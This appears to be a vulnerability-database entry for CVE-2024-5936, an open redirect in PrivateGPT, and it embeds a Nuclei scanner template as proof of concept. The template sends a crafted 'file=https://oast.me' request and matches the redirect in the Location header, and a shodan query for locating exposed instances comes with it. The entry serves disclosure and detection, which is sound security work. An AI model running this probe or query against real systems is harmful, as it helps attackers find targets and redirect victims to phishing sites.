CVE-2024-5936: PrivateGPT < 0.5.0 - Open Redirect

2025-08-01 PrivateGPT PoC Public

Description

An open redirect vulnerability exists in imartinez/privategpt version 0.5.0 due to improper handling of the 'file' parameter. This vulnerability allows attackers to redirect users to a URL specified by user-controlled input without proper validation or sanitization.

Details

CVE
CVE-2024-5936 · CVE.org
Severity
中危
Affected
PrivateGPT
Published
PoC
Public

PoC

id: CVE-2024-5936

info:
  name: PrivateGPT < 0.5.0 - Open Redirect
  author: ctflearner
  severity: medium
  description: |
    An open redirect vulnerability exists in imartinez/privategpt version 0.5.0 due to improper handling of the 'file' parameter. This vulnerability allows attackers to redirect users to a URL specified by user-controlled input without proper validation or sanitization.
  impact: |
    Attackers can craft malicious URLs with the file parameter to redirect users to attacker-controlled sites, potentially leading to phishing attacks or credential theft.
  remediation: |
    Update PrivateGPT to version 0.5.1 or later to address the open redirect vulnerability.
  reference:
    - https://huntr.com/bounties/43f05c1e-d7b8-45e2-b1fe-48faf1e3a48d
    - https://drive.google.com/file/d/1Fw5eT-9bAqsqzNUqdTXebtqIo5NI6T48/view
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5936
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-5936
    cwe-id: CWE-601
    epss-score: 0.30074
    epss-percentile: 0.98239
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"private gpt"
    product: private-gpt
  tags: cve2024,cve,private-gpt,redirect,vuln,ai

http:
  - method: GET
    path:
      - "{{BaseURL}}/file=https://oast.me"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'
# digest: 4a0a00473045022015618453fe5831b3816e059e03df647dcd0ba4722840b08aaf4ae7b3bc19965a0221008381aa58fc677384d56d4a86c2ce83ae43ca9c53ee100956bf642cd111632254:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life